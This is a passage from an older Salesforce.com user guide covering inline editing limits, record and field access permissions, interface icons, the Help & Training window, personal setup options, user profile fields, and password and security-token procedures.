security or your organization's sharing model; however, Salesforce.com does not let you save your changes, and displays
an insufficient privileges error message when you try to save the record.
• Pressing Enter while your cursor is in a field's edit box confirms the change for that field only. Pressing Enter when no
fields are in edit mode saves all edits made to the record.
• Pressing Esc while your cursor is in a field's edit box reverts the change for that field only.
• Inline editing is disabled on record detail pages if an administrator overrides the Edit button for that object with an s-control
or a Visualforce page. For information on overriding buttons with s-controls, see Overriding Standard Buttons and Tab
Home Pages on page 659. For information on Visualforce pages, see Visualforce Overview on page 1019.
• Removing the Edit button from a page layout does not prevent users from modifying the record using inline editing. To
prevent users from editing data altogether, administrators should use any combination of sharing rules, field-level security,
page layout field properties, validation rules, profile permissions, s-controls or Visualforce pages.
• Inline editing is not available for users with accessibility mode enabled.
• Inline editing is not available for the following standard checkboxes on case, lead, and account edit pages:

- Case Assignment (Assign using active assignment rules)


- Case Email Notification (Send notification email to contact)
- Lead Assignment (Assign using active assignment rule)
- Territory Assignment (Run territory assignment rules on save)

• You cannot use inline editing on setup pages.


• Solution descriptions cannot be modified using inline editing if HTML solutions are enabled.
• Inline editing is not supported in the Customer Portal.
• Inline editing is available on detail pages for all fields that are editable on edit pages, with the exception of some fields on
tasks, events, opportunities, price books, and documents. To edit any of these, you must navigate to the edit page of a
record, change the value of the field desired, and then click Save. The following table lists the specific fields that cannot
be edited on record detail pages and list views. Note that you may need special permissions to view some of these fields:

Object Fields
All Objects Long text area fields
Opportunities - Stage
- Amount (editable on detail pages but not on list views)
- Quantity (editable on detail pages but not on list views)

Leads Lead Status (editable on detail pages but not on list views)

Cases Case Status (editable on detail pages but not on list views)

Contracts Contract Status (editable on detail pages but not on list views)

Tasks - Due Date


- Related To
- Name

40
Getting Started Accessing Data

Object Fields
- Priority
- Status
- Private
- Reminder
- Event
- Date
- All Day Event
- Time
- Recurrence Settings

Documents All fields


Pricebooks All fields

Accessing Data
Available in: All Editions

Your administrator can customize many different areas to secure your data. Additionally, users in Professional, Enterprise,
Unlimited, and Developer edition organizations can control the access that other users have to their data by sharing records
individually with colleagues.
To determine whether you can access data, use the table below:

Action Access Needed


To view a tab: • You must have the “Read” permission on the records within
that tab.
• Make sure you have customized your personal display to
show the tab.

To view a record: • Make sure you have the “Read” permission on the type of
record you want to view.
• Professional, Enterprise, Unlimited, and Developer Edition
organizations can set a sharing model that determines the
access users have to records they do not own. Depending
on your sharing model, the owner may need to share the
record with you if you are not the owner of the record or
above the owner in the role hierarchy.
• Enterprise, Unlimited, and Developer Edition
organizations can use territory management to grant access

41
Getting Started Navigating

Action Access Needed


to accounts, opportunities, and cases. See Territory
Management Overview on page 2131.

To view a field: • Make sure you have the “Read” permission on the type of
record for the field.
• For Enterprise and Unlimited Edition organizations, check
the field-level security; your field-level security settings
may prevent you from seeing the field.
• Check your page layout; depending on your page layout
settings, you may see some fields and not others.

To edit a field: • Make sure you have the “Edit” permission on the type of
record for the field.
• For Enterprise and Unlimited Edition organizations, check
the field-level security; your field-level security settings
may set a field to “Read-Only.”
• Check your page layout; page layouts can set fields to read
only.

To view a related list: • Make sure you have the “Read” permission on the type of
records displayed in the related list.
• Check your page layout; depending on your page layout
settings, you may see some fields and not others.

To view a button or link: • Make sure you have the necessary permission to perform
the action. Buttons and links only display for users who
have the appropriate user permissions to use them.

Navigating
Available in: All Editions

You can navigate between pages and select options using standard text and button links. On individual pages, you can also
edit or update information using standard text fields, drop-down lists, and popup menus.
On any detail page you can click the Back to List: link to return to your most recently viewed list page. The kind of list that
you will be returning to is appended after the colon. For example, if the last list page you viewed was the 'D' page of the “All
Accounts” view, clicking Back to List: Accounts returns you to that page of the “All Accounts” view. Alternately, if your most
recently viewed list page was a list of cases, then the link would be Back to List: Cases. The link is not available if you have
not yet viewed any list pages in your current session.
The pages include these symbols and graphic icons:

42
Getting Started Navigating

Item Description
Displayed in table headings of list views. Changes the sort
order from ascending to descending, and vice-versa.
Collapsed detail page section or report folder. Click this icon
to expand the section or folder. Available on detail pages when
your organization has enabled collapsible page sections.
Expanded detail page section or report folder. Click this icon
to collapse the section or folder. Available on detail pages
when your organization has enabled collapsible page sections.
Calendar icon link. Displays a calendar from which you can
choose a date.
Lookup icon link. Display a popup in which you can search
for and select existing records. You can also create new records
if Quick Create is available for the type of record you are
creating and it has been enabled by your administrator.
For more information, see Lookup Dialog Search on page 2091.

Combo box icon link. Displays a popup in which you can


select an item from a list.
Pencil icon. Indicates an editable field when inline editing is
enabled. Also see Using Inline Editing in Lists on page 1695.
Lock icon. Indicates a field is not editable via inline editing
when inline editing is enabled.
Undo icon. Returns a field to its previous inline edit value
when inline editing is enabled.
Account icon. Displays on account pages and next to accounts
in the Recent Items area of the sidebar.
Person account icon. Displays at the following locations:
• At the top of person account detail pages.
• Next to person account names in the Recent Items section
of the sidebar column.
• As a column heading in account and contact list views,
representing the Is Person Account field.
• As a column heading in account search layouts,
representing the Is Person Account field.
• Next to fields specific to person accounts on the Account
Fields page.

For more information, see What is a Person Account? on page


1125.

Campaign icon. Displays on campaign pages and next to


campaigns in the Recent Items area of the sidebar.

43
Getting Started Navigating

Item Description
Case icon. Displays on case pages and next to cases in the
Recent Items area of the sidebar.
Contact icon. Displays on contact pages and next to contacts
in the Recent Items area of the sidebar.
Contracts icon. Displays on all contract pages and next to
contracts in the Recent Items area of the sidebar.
Dashboards icon. Displays on all dashboard pages within the
Dashboards tab.
Documents icon. Displays on document pages and next to
documents in the Recent Items area of the sidebar.
Forecasts icon. Displays on forecast pages within the Forecasts
tab.
Idea icon. Displays on idea pages and next to ideas in the
Recent Items area of the sidebar.
Lead icon. Displays on lead pages and next to leads in the
Recent Items area of the sidebar.
Opportunity icon. Displays on opportunity pages and next to
opportunities in the Recent Items area of the sidebar.
Portals icon. Displays on the Portals tab.

Products icon. Displays on product, price book, and asset


pages.
Reports icon. Displays on all report pages within the Reports
tab.
Solutions icon. Displays on solution pages and next to
solutions in the Recent Items area of the sidebar.
Tag icon. Displays on records that are able to be tagged.

Translated solutions icon. Displays on solution detail pages,


solution edit pages, solution list views, and solution search
results.
Displays all of the calendar events in the day for you or the
users selected in the multi-user view, as well as a list of tasks
for the selected time frame.
Displays all of the calendar events in the week for you or the
users selected in the multi-user view, as well as a list of tasks
for the selected time frame.
Displays all of the calendar events in the month for you or the
users in the selected multi-user view.

44
Getting Started Navigating

Item Description
Displays the calendar of a single user.

Displays the calendars of several users simultaneously.

Displays a list view of your calendar events and tasks.

Recurring event icon. Indicates that an event is part of a


recurring series of events.
Group event icon. Indicates an event to which multiple users
are invited.
Escalated case icon. Indicates that a case has automatically
been escalated via your organization’s escalation rule.
Comment icon. Indicates that a Self-Service user has added
a comment to the case. The icon appears until the case owner
views the case.
Help icon link. Displays help for the related list where it is
located.
Info icon. Displays additional information about an item when
you hover your mouse over it. For example, dependent picklists
are indicated on edit pages by this icon. Hover your mouse
over the icon to display the name of the associated controlling
field.
Lock icon. Displays when a record cannot be edited. Users
must have the “Modify All” object-level permission for the
given object, or the “Modify All Data” permission, to edit
locked records.
Invalid roll-up summary icon. Displays when a roll-up
summary field calculated value is out of date. It also displays
on formula fields that reference a roll-up summary field whose
calculated value is out of date.
Indicates a formula field that references fields on a related
object. Available on setup pages when viewing the formula
field data type.
Indicates an active Salesforce to Salesforce connection.

Indicates an inactive Salesforce to Salesforce connection.

Indicates a pending Salesforce to Salesforce connection.

Indicates an invitation to make a connection with a business


partner using Salesforce to Salesforce.

45
Getting Started Using the Help & Training Window

Item Description
Indicates that you have sent an invitation to another
organization to make a connection using Salesforce to
Salesforce.

See Also:
About the Sidebar
Navigating Long Lists

Using the Help & Training Window


All information in the online help applies to All Editions, unless otherwise noted.

The Salesforce.com Help & Training window offers the resources you need to be successful. You can:

• Find Answers to Your Questions


• Consult, Print, or Email Online Help Topics
• Download Tip Sheets and Best Practice Guides
• Review Documentation for Force.com Developers
• Take Free Training
• Contact Customer Support

Find Answers to Your Questions


Click Help & Training at the top of any page. Enter your keywords in the Search box and click Go!. The search returns
online help topics, knowledge base solutions, and recommended training classes that match the keywords you entered.
Tips for searching within the Help & Training window:

• Search returns online help topics, knowledge base solutions, and recommended training classes that include all or
any of your keywords. For example, searching for data loader may return results with just data, just loader, or
both keywords in any order. Items that include more of your keywords are listed higher in results, and items that
contain your keywords as a phrase or near each other are also listed higher.
• Use multiple keywords to narrow your search results. For example, create lead assignment rules returns
more specific results than just assignment rules.
• Search is not case-sensitive. Mail Merge is the same as mail merge.
• Search finds variants of your keywords, for example, searching for creating finds items containing create, created,
and creating.
Note: This behavior applies only to the type of word you search for: a search for a noun matches variants of
the noun form, a search for a verb matches variants of the verb form, and so on.

• Commonly used words such as the, about, and, and not are ignored.

46
Getting Started Using the Help & Training Window

• Search wildcards, such as * and ?, and operators, such as AND, OR, and AND NOT, are treated like any other
keyword. For example, searching for outlook AND cases is treated exactly the same as outlook cases.

After you find the answer you need, you can click the Email Page link at the top of the window to send a URL for
the help topic or knowledge base solution to yourself or anyone else.

Consult, Print, or Email Online Help Topics


Click the Help for this Page link on any page in Salesforce.com to open a context-sensitive online help topic describing
that page. On any related list in Salesforce.com, click the Help link to open an online help topic describing that related
list.
To print a PDF version of the online help, click the Help tab of the Help & Training window and click Printable User
Guide in the taskbar.
To email the URL for any online help topic to another person, click the Email this Page link in the top right of the
Help & Training window.

Download Tip Sheets and Best Practice Guides


Select the Help tab of the Help & Training window and click Tips & User Guides in the taskbar to view and download
tip sheets, implementation guides, and best practices for specific features.
Visit www.salesforce.com/community to browse and access more tips, best practices, and tools for success with
Salesforce.com.

Review Documentation for Force.com Developers


If you are building an app on the Force.com platform, writing Apex, or building integrations with the Force.com API,
see Documentation Resources for Force.com Developers on page 1073 for more information.

Take Free Training


Select the Training tab of the Help & Training window, choose your role and geographic location, and click View
Classes! to find free, online training classes to help you learn how to use Salesforce.com.

Contact Customer Support


Select the My Cases tab of the Help & Training window to access customer support options. Click Log a Case to submit
your question or issue directly to salesforce.com Customer Support. Click View Cases to see your previously submitted
cases.
To contact salesforce.com Customer Support directly, use the following numbers depending on your location:

• Americas: (415) 901-7010


• EMEA: 00353 1 272 3503
• APAC: +65 6302 5700
• Japan: +81-3-5785-8480

For more information about the most efficient ways to receive the customer support assistance you need, see the Contacting
Customer Support tip sheet.

47
Getting Started Using the Help & Training Window

Note: Salesforce.com makes every effort to ensure the accuracy of the information contained within the Help &
Training window, but assumes no responsibility or liability for any errors or inaccuracies that may appear. If you do
find any errors, please use the feedback form at the bottom of every help page.

See Also:
Custom Help Overview
Replacing Salesforce.com Online Help

48
PERSONAL SETUP

Personal Setup Overview


The available setup options vary according to which Salesforce.com Edition you have.

The Personal Setup page, accessed by clicking Setup, contains setup and customization options to help you personalize the
application for your personal use.

My Personal Information
Expand the My Personal Information folder under Personal Setup to access the following options:
• Personal Information—Edit your user information, create quotas, view login history, and more (see Editing Your Personal
Information on page 50).
• Change My Password—Change your password (see Changing Your Password on page 60).
• Reset My Security Token—Reset the security token that you may need to log into Salesforce.com from outside your
company's trusted network (see Resetting Your Security Token on page 62).
• My Groups—Add, update, or delete your personal groups (see Managing Groups on page 166).
• Change My Display—Customize your display of tabs and related lists (see Customizing Your Display on page 59).
• Grant Login Access—Allow salesforce.com Customer Support representatives or your administrator to log in to your
account (see Granting Login Access on page 51).
• Calendar Sharing—Allow other users, personal and public groups, roles, or roles and subordinates to view your calendar
(see Granting Access to Your Calendar on page 65).
• Reminders—Set your personal preferences for activity reminders (see Setting Reminders on Activities on page 1180).
• Record Type Selection—Set your preferences for automatic selection of default record types (see Setting Record Type
Preferences on page 66).

Email
Expand the Email folder under Personal Setup to access the following options:
• My Email Settings—Set your outbound email settings (see Editing Email Settings on page 64).
• My Templates—Create and edit your own email templates (see Managing Email Templates on page 109).
• My Stay-in-Touch Settings—Set your preferences for emails requesting contact information updates (see Editing
Stay-in-Touch Settings on page 64).

Import
Expand the Import folder under Personal Setup to access the following options:
• Import My Accounts & Contacts—Import accounts and contacts that you own (see Import My Contacts on page 319).
• Import My Person Accounts—Import person accounts that you own. Note that your administrator may have customized
the text of this link.

Desktop Integration
Expand the Desktop Integration folder under Personal Setup to access the following options:
• Check for Updates—See what desktop client versions you have and install updates (see Checking for Desktop Client
Updates on page 68).

49
Personal Setup Editing Your Personal Information

• Connect for Outlook—Download the Outlook integration plug-in (see Using Connect for Outlook on page 2244).
• Connect for Office—Install Connect for Office to integrate your data with Microsoft® Word and Excel (see Force.com
Connect for Microsoft Office® Overview on page 2211).
• Connect Offline—Install Connect Offline to work remotely when you are not online (see Force.com Connect Offline
Overview on page 2218).
• Connect for Lotus Notes—Download the Connect for Lotus Notes integration plug-in (see Force.com Connect for Lotus
Notes Overview on page 2269).

Call Center Settings


Expand the Call Center Settings folder under Personal Setup to access the following options:
• My SoftPhone Settings—Set your SoftPhone user preferences (see Editing Personal SoftPhone Settings on page 1250).

Editing Your Personal Information


The available personal setup options vary according to which Salesforce.com Edition you have.

To update your personal information, click Setup ➤ My Personal Information ➤ Personal Information. Administrators
can edit any user’s information as described in Editing Users on page 130.
From the personal information page, you can change the following:

• Personal Information—To make changes, click Edit.


See User Fields on page 52 for a list of the user fields.
If you change your email address, a confirmation message will be sent to the new address. You must click the link provided
in that message for the new email address to take effect. This process is to ensure system security.
• Change Password—Click the Change Password button. See Changing Your Password on page 60.
• Storage Space—Click View next to the Used Data Space or Used File Space field to see how much storage space
you are using. See Monitoring Resources on page 253 for information on organization storage limits.
• Quotas—Create and edit your quotas. See Setting Quotas for Customizable Forecasting on page 135 or Adding and Editing
Quotas on page 63 if you do not have customizable forecasting.
• Personal Groups—Add, update, or delete your personal groups. See Managing Groups on page 166.
• Default Sales Team—Set up your default sales team. See Setting Your Default Sales Team on page 2126.
• Default Account Team—Set up your default account team. See Setting Up Your Default Account Team on page 1165.
• Login History—Administrators can view the user’s last ten successful and failed login attempts.

You also have access to view the following:

• Public Group Membership—Lists the public groups to which you belong, as determined by your administrator.
• Managers in the Role Hierarchy—Lists the users above you in the role hierarchy, as defined by your administrator. See
Managers in the Role Hierarchy on page 52.
• Territories—Lists the territories to which you are assigned. See Managing Users in Territories on page 2143.
• Assigned Mobile Devices—Lists the mobile device from which you activated Salesforce Mobile for your Salesforce.com
account. See Managing Mobile Devices on page 2202.

50
Personal Setup Editing Your Personal Information

• Remote Access—Lists the remote access applications that you have granted access to.

See Also:
Personal Setup Overview
Changing Your Default Division
Granting Login Access
User Fields

Viewing Public Group Membership


Available in: Professional, Enterprise, Unlimited, and Developer Editions

To view which public groups include you as a member:

1. Click Setup ➤ My Personal Information ➤ Personal Information.


2. Scroll down to the Public Group Membership related list, which lists the public groups of which you are a member.
3. To view a group's membership details, click the group name.

See Also:
Editing Your Personal Information

Granting Login Access


Available in: All Editions
Granting administrator access available in: Enterprise, Unlimited, and Developer Editions

In order to assist you, your administrator or a salesforce.com Customer Support representative may need to log in to the
application using your login. You must grant access for them and specify a deadline for that access. During the effective access
period, they will be able to use your login and access your data in order to help you resolve any problems.
To grant login access:

1. Choose Setup ➤ My Personal Information ➤ Grant Login Access.


2. Set the access expiration date for salesforce.com support or your administrator.
3. Click Save.

51
Personal Setup Editing Your Personal Information

No one can log in to your account to resolve support issues unless you grant access in this way.

See Also:
Logging In as Another User
Editing Your Personal Information

Managers in the Role Hierarchy


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The Managers in the Role Hierarchy related list shows all of the users above you in the hierarchy. These users have the same
access to your data as you do—they have access to all data you own or that has been shared with you.
To view this related list, click Setup ➤ My Personal Information ➤ Personal Information, and scroll down to the related
list.

See Also:
Managing Roles
Editing Your Personal Information

User Fields
The available fields vary according to which Salesforce.com Edition you have.

A user's personal information page has the following fields, listed in alphabetical order. Some of these fields may not be visible
or editable depending on your profile or edition.

Field Description
Accessibility Mode Checkbox that enables or disables a user interface mode
designed for visually-impaired users. See Enabling Accessibility
Mode on page 2368.
Active Administrative checkbox that enables or disables user login
to the service.
Address Street address for user. Up to 255 characters are allowed in
this field.
Admin newsletter Opt in to receive administrator-targeted promotional emails
from salesforce.com. This field is not available if your
organization has disabled your choice to receive emails from
salesforce.com.

52
Personal Setup Editing Your Personal Information

Field Description
Alias Short name to identify user on list pages, reports, and other
pages where the entire name does not fit. Up to eight
characters are allowed in this field.
Allow Forecasting Indicates whether the user is allowed to use customizable
forecasting or not. See Enabling Users for Customizable
Forecasting on page 745.
Api Token Indicates whether or not an API token has ever been reset.
Salesforce.com uses this field to help you troubleshoot issues
related to API tokens if issues should occur.
Call Center The name of the call center to which this user is assigned. See
Managing Call Center Users on page 1265.
Checkout Enabled Indicates whether the user is notified by email when his or
her Checkout account is activated and available for login.
You must have “Manage Billing” permission to enable.

City City portion of user’s address. Up to 40 characters are allowed


in this field.
Color-Blind Palette on Charts Indicates whether the option to set an alternate color palette
for charts has been enabled. The alternate palette has been
optimized for use by color-blind users. For dashboard emails,
the alternate palette is not used.
Community Nickname Name used to identify this user in a community. Up to 40
alphanumeric characters are allowed in this field.
Company Company name where user works. Up to 40 characters are
allowed in this field.
Contact Name of the associated contact if the user is a partner user.
Country Country portion of user’s address. Up to 40 characters are
allowed in this field.
Created By User who created the user including creation date and time.
(Read only)
Currency User’s default currency for quotas, forecasts, and reports.
Shown only in organizations using multiple currencies. This
must be one of the active currencies for the organization.
Custom Links Listing of custom links for users as set up by your
administrator.
Default Currency ISO Code User's default currency setting for new records. Available only
for organizations that use multiple currencies.
Default Division Division that is applied, by default, to all new accounts and
leads created by the user, unless he or she explicitly sets a
different division. When users create records related to an

53
Personal Setup Editing Your Personal Information

Field Description
account or other record that already has a division, the new
record is assigned to the existing record’s division; the default
division is not used.
This setting does not restrict the user from viewing or creating
records in other divisions. Users can change their division at
any time.
Available only in organizations that use divisions to segment
their data.

Delegated Approver User lookup field used to select a delegate approver for
approval requests. Depending on the approval process settings,
this user can also approve approval requests for the user.
Department Group that user works for, for example, Customer Support.
Up to 80 characters are allowed in this field.
Development Mode Enables development mode for creating and editing
Visualforce pages.
This field is only visible to organizations that have Visualforce
enabled. See Visualforce Overview on page 1019

Division Company division to which user belongs for example, PC


Sales Group. Up to 40 characters are allowed in this field.
Email Email address of user. Must be a valid email address in the
form: jsmith@acme.com. Up to 80 characters are allowed in
this field.
Email Encoding Character set and encoding for outbound email sent by user
from within Salesforce.com. ISO-8859-1 represents all Latin
characters and should be used by English-speaking users.
UTF-8 (Unicode) represents all characters for all of the world’s
languages, but is not supported by some older email software.
Shift_JIS, EUC-JP and ISO-2022-JP are useful for
Japanese users.
Employee Number Identifying number for a user.
End of day Time of day that user generally stops working. Used to define
the times that display in the user’s calendar.
Fax Fax number for user.
Federation ID The value used to identify a user for federated authentication
single sign-on. For more information, see Configuring SAML
Settings for Single Sign-On on page 227.
First Name First name of user, as displayed on the user edit page. Up to
40 characters are allowed in this field.

54
Personal Setup Editing Your Personal Information

Field Description
Information Currency The default currency for all currency amount fields in the user
record. Available only for organizations that use multiple
currencies.
Knowledge User Administrative checkbox that grants a user access to Salesforce
Knowledge. The user's profile determines whether he or she
has access to the Article Management tab, Articles tab, or
both.
Language The primary language for the user. All text and online help is
displayed in this language. In Professional, Enterprise, and
Unlimited Edition organizations, a user’s individual Language
setting overrides the organization’s Default Language.
Not available in Personal Edition, Contact Manager, or Group
Edition™. The organization’s Display Language applies
to all users.

Last Login Date of last login. (Read only)


Last Name Last name of user, as displayed on the user edit page. Up to
80 characters are allowed in this field.
Locale Country or geographic region in which user is located.
The Locale setting affects the format of date, date/time, and
number fields, and the calendar. For example, dates in the
English (United States) locale display as 06/30/2000 and as
30/06/2000 in the English (United Kingdom) locale. Times
in the English (United States) locale display using a
twelve-hour clock with AM and PM (for example, 2:00 PM),
whereas in the English (United Kingdom) locale, they display
using a twenty-four-hour clock (for example, 14:00).
The Locale setting also affects the first and last name order
on Name fields for users, leads, and contacts. For example,
Bob Johnson in the English (United States) locale displays as
Bob Johnson, whereas the Chinese (China) locale displays the
name as Johnson Bob.
For Personal Edition users, the locale is set at the organization
level via Setup ➤ Company Profile ➤ Company
Information. For all other users, their personal locale, available
at Setup ➤ My Personal Information ➤ Personal
Information, overrides the organization setting.

55
Personal Setup Editing Your Personal Information

Field Description
Manager Lookup field used to select the user's manager. This establishes
a hierarchical relationship, preventing you from selecting a
user that directly or indirectly reports to itself.
This field is especially useful for creating hierarchical workflow
rules and approval processes without having to create additional
hierarchy fields.
Note: Unlike other hierarchy fields, Salesforce.com
allows you to inactivate users who are referenced in
the Manager field.

Marketing User Checkbox that indicates whether user has access to create,
edit, and delete campaigns and configure advanced campaign
setup.
In order to use the campaign import wizards, Marketing Users
must also have the Marketing User profile (or the “Import
Leads” permission and the “Edit” permission on campaigns
in Enterprise and Unlimited Edition organizations).

Mobile Cellular or mobile phone number. Up to 40 characters are


allowed in this field.
Mobile User Allocates one Salesforce Mobile license to the user, granting
the user access to Salesforce Mobile capabilities. The number
of user records with this checkbox enabled cannot exceed the
total number of mobile licenses your organization has.
The Mobile User checkbox is enabled by default for Unlimited
Edition users. To prevent users from activating Salesforce.com
on their mobile devices before you are ready to deploy mobile
in your organization, disable the checkbox for all your users.
If the user has already activated his or her mobile account from
a device, deselecting the Mobile User checkbox deletes the
Salesforce.com data on the user's device. The device will no
longer be associated with the user.
For more information, see Salesforce Mobile Overview on
page 2168.

Mobile Configuration The mobile configuration assigned to the user. If no mobile


configuration is specified, this field defaults to the mobile
configuration assigned to the user's profile.
This field is only visible to organizations that use
Salesforce.com to manage mobile configurations. For more
information, see Salesforce Mobile Overview on page 2168.

56
Personal Setup Editing Your Personal Information

Field Description
Modified By User who last changed the user fields, including modification
date and time. (Read only)
Name Combined first and last name of user, as displayed on the user
detail page.
Newsletter Opt in to receive user-targeted promotional emails from
salesforce.com. This field is not available if your organization
has disabled your choice to receive emails from salesforce.com.
Offline User Administrative checkbox that indicates whether user has access
to use Connect Offline.
Phone Phone number of user. Up to 40 characters are allowed in this
field.
Self-Registered via Customer Portal Checkbox that specifies if the user was created via
self-registration to a Customer Portal.
Available in Enterprise and Unlimited Editions only.

Profile Administrative field that defines a user’s permission to perform


different functions within the application.
Receive Salesforce CRM Content Daily Digest If selected, specifies that a user with Salesforce CRM Content
subscriptions will receive a once-daily email summary if activity
occurs on his or her subscribed content, workspaces, tags, or
authors. To receive email, the Receive Salesforce CRM
Content Email Alerts checkbox must also be selected.

Receive Salesforce CRM Content Email Alerts If selected, specifies that a user with Salesforce CRM Content
subscriptions will receive email notifications if activity occurs
on his or her subscribed content, workspaces, tags, or authors.
To receive real-time email alerts, select this checkbox and do
not select the Receive Salesforce CRM Content
Daily Digest checkbox.

Role Administrative field that specifies position of user within an


organization, for example, Western Region Support Manager.
Roles are selected from a picklist of available roles, which can
be changed by an administrator.
Not available in Personal Edition, Contact Manager, or Group
Edition.

Salesforce CRM Content User Administrative checkbox that indicates whether a user has
access to use Salesforce CRM Content.
Send Apex Warning Emails If selected, specifies that the user will receive email notification
whenever he or she executes Apex that surpasses more than
50% of allocated governor limits. See the Force.com Apex
Code Developer's Guide for information.

57
Personal Setup Changing Your Default Division

Field Description
Available in Developer, Enterprise, and Unlimited Editions
only.

Start of day Time of day that user generally starts working. Used to define
the times that display in the user’s calendar.
State/Province State or province portion of user’s address. Up to 20 characters
are allowed in this field.
Time Zone Primary time zone in which user works.
Users in Arizona should select the setting with
“America/Phoenix,” and users in parts of Indiana that do not
follow Daylight Savings Time should select the setting with
“America/Indianapolis.”

Title Job title of user. Up to 80 characters are allowed in this field.


Used Space Amount of disk storage space the user is using. See Monitoring
Resources on page 253.
User License Indicates the type of user license. For more information about
user licenses, see Viewing User License Types on page 181.
Username Administrative field that defines the user’s login. Up to 80
characters are allowed in this field.
Zip/Postal Code Zip code or postal code portion of user’s address. Up to 20
characters are allowed in this field.

See Also:
Editing Your Personal Information

Changing Your Default Division


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To change your default division: “Manage Users”

If your organization uses divisions to segment data, your user information contains a default division. This is the division that
is applied, by default, to all new accounts, leads, and appropriate custom objects you create, unless you explicitly set a different
division during record creation. For records you create that are related to an account or other record that already has a division,
the new record is assigned to the existing record’s division; the default division is not used.

58
Personal Setup Customizing Your Display

Your default division setting does not restrict you from viewing or creating records in other divisions. See Overview of Divisions
on page 95 for more information.
To change your default division:

1. Click Setup ➤ My Personal Information ➤ Personal Information.


To change the default division of another user, click Setup ➤ Manage User ➤ Users, and select the name of the user.
See Transferring Divisions on page 278 to transfer the default division for multiple users.
2. Click Change next to the Default Division field.
3. Select a new default division.
4. Select an option to determine if the records you currently own should be transferred to the new division as well.
5. Click Save.

See Also:
Transferring Divisions
Changing Your Working Division

Customizing Your Display


Available in: All Editions

Click Setup ➤ My Personal Information ➤ Change My Display to change various personal display options. You can:

• Click Customize My Tabs to change which tabs display when you log in, or, if you have multiple apps, to change which
tabs display in each app. By default, you will see the tabs that are set for your profile. Add each tab you want to display,
change the display order if desired, and click Save.
Note: The first tab that displays when you select an app may change if your administrator changes the app's default
landing tab. See Editing App Properties on page 758.

• Select an object from the drop-down list and click Customize My Pages to customize your display.
- For your Home tab, customize the dashboard snapshot that displays on the Home tab. Select the dashboard to use and
click Save. The link to customize your Home tab is available only if your administrator has customized your home page
layout to include a dashboard.
See Refreshing Dashboard Data on page 1508 for information on refreshing your dashboard snapshot.
- For all other tabs, set which related lists display on your detail pages. To add or remove related lists, select a related list
title, and click the Add or Remove arrow. To change the order of the related lists, select a related list title in the Selected
List box, and click the Up or Down arrow. Click Save when finished.

Note: Your personal related list customization may change if your administrator alters the page layout for a particular
tab. See Managing Page Layouts on page 618.

59
Personal Setup Viewing All Tabs

You can also access the Customize My Display page via the Customize Page link in the Dashboard section of the Home tab
or on any record detail page.
To customize the folders that display on your Reports tab, see Reports Home on page 1863.

See Also:
Changing Your Home Tab Dashboard
Viewing All Tabs

Viewing All Tabs


Available in: All Editions

To view all the tabs available to you in Salesforce.com, click the rightmost tab with the arrow icon.

Figure 1: Viewing All Tabs in Salesforce.com

Using this page, you can:

• Click any of the tab names to quickly jump to that tab.


• If you have multiple apps, use the View drop-down list to see each app’s logo and included tabs.
• Click Customize My Tabs to change how tabs display on your screen.

Note: If you have Enterprise or Unlimited Edition, your administrator can hide tabs within your organization for
features you do not use. For details, see Defining Custom Apps on page 756.

See Also:
Customizing Your Display

Changing Your Password


Available in: All Editions

To change your password at any time, click Setup ➤ My Personal Information ➤ Change My Password. In Contact
Manager, Group, Professional, Enterprise, Unlimited, or Developer Edition, your administrator can also reset your password
for you (see Resetting Passwords on page 132).

60
Personal Setup Changing Your Password

The first time you log in you are prompted to change the temporary password that was emailed to you. We also recommend
that you change your password periodically to protect the privacy of your data. If your administrator has set the User
passwords expires in setting, you must change your password periodically. However, if you have the “Password Never
Expires” user permission, then your password will not expire.
When you change your password, if you have not previously selected and answered a security question, you are prompted to
do so. You must answer this question correctly if you ever forget your password and need it to be reset.
You may have to activate your computer to successfully log in to Salesforce.com whenever your password is changed or reset,
or when you log in from a computer you have not used to access Salesforce.com before. Activating your computer allows
Salesforce.com to verify your identity and prevent unauthorized access. To activate your computer:

1. When prompted on the login page, click the Send Activation Link button. Salesforce.com sends an activation email to
the email address specified on your Salesforce.com user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.

For more information, see Setting Login Restrictions on page 175.


As you enter a new password in the New Password field, a visual indicator provides dynamic feedback on the strength of
the password that you are typing. When the password matches the minimum requirements for your organization's password
policy, the visual indicator and associated text indicate that the password is acceptable and can now be saved. A tip is displayed
to suggest how to make the password stronger and more difficult to guess.
Note: A password cannot contain your User Name and cannot match your first or last name.
For all editions, a new organization has the following default password requirements:

• A password must contain at least eight characters.


• A password must contain at least one alphabetic character and one number.
• The answer to the question posed if you forget your password cannot contain your password.
• The last three passwords are remembered and cannot be reused when you are changing your password.

The password policies, including these defaults, can be updated for all editions except for Personal Edition. See Setting
Password Policies on page 218 for more details.
If you have the “Uses Single Sign-On” permission, only an administrator can reset your password. Please contact your
administrator for assistance. For information about Single Sign-On, see About Single Sign-On on page 223.

See Also:
Retrieving Forgotten Passwords
Resetting Your Security Token

61
Personal Setup Changing Your Password

Retrieving Forgotten Passwords


Available in: All Editions

Follow these steps if you have forgotten your password:

1. Attempt to log in with your username and a dummy password.


2. Click Forgot your password?.
3. Correctly enter your username and click Continue. A message will automatically be sent to your email address.
4. Click the link provided in that message, correctly answer your password question, and click Continue.
5. A temporary password will be automatically sent to your email address. Click the link to log in using that temporary
password.
6. When prompted, enter a new password.
You may have to activate your computer to successfully log in to Salesforce.com whenever your password is changed or reset,
or when you log in from a computer you have not used to access Salesforce.com before. Activating your computer allows
Salesforce.com to verify your identity and prevent unauthorized access. To activate your computer:

1. When prompted on the login page, click the Send Activation Link button. Salesforce.com sends an activation email to
the email address specified on your Salesforce.com user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.

For more information, see Setting Login Restrictions on page 175.

See Also:
Resetting Your Security Token

Resetting Your Security Token


Available in: All Editions

A security token is an automatically-generated key that you must add to the end of your password in order to log in to
Salesforce.com from an untrusted network. For example, if your password is mypassword, and your security token is
XXXXXXXXXX, then you must enter mypasswordXXXXXXXXXX to log in. Security tokens are required whether you log in
via the API or a desktop client such as Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes,
or the Data Loader.
You are offered a security token if you try to access Salesforce.com from an untrusted network. Once you have been issued a
security token, you have the option to reset this security token at any time.

62
